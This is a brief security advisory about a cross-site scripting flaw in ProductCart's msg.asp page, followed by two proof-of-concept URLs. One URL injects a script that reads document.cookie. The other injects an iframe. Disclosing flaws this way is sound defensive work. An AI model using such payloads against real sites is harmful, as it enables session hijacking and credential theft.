source: https://www.securityfocus.com/bid/8108/info

A cross-site scripting vulnerability has been reported for ProductCart. The vulnerability exists due to insufficient sanitization of some user-supplied values.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://www.website.com/ProductCart/pc/msg.asp?message=><script>alert
(document.cookie);</script>

http://www.website.com/ProductCart/pc/msg.asp?message=<iframe%20src="C:\"%
20width=400%20height=400></iframe>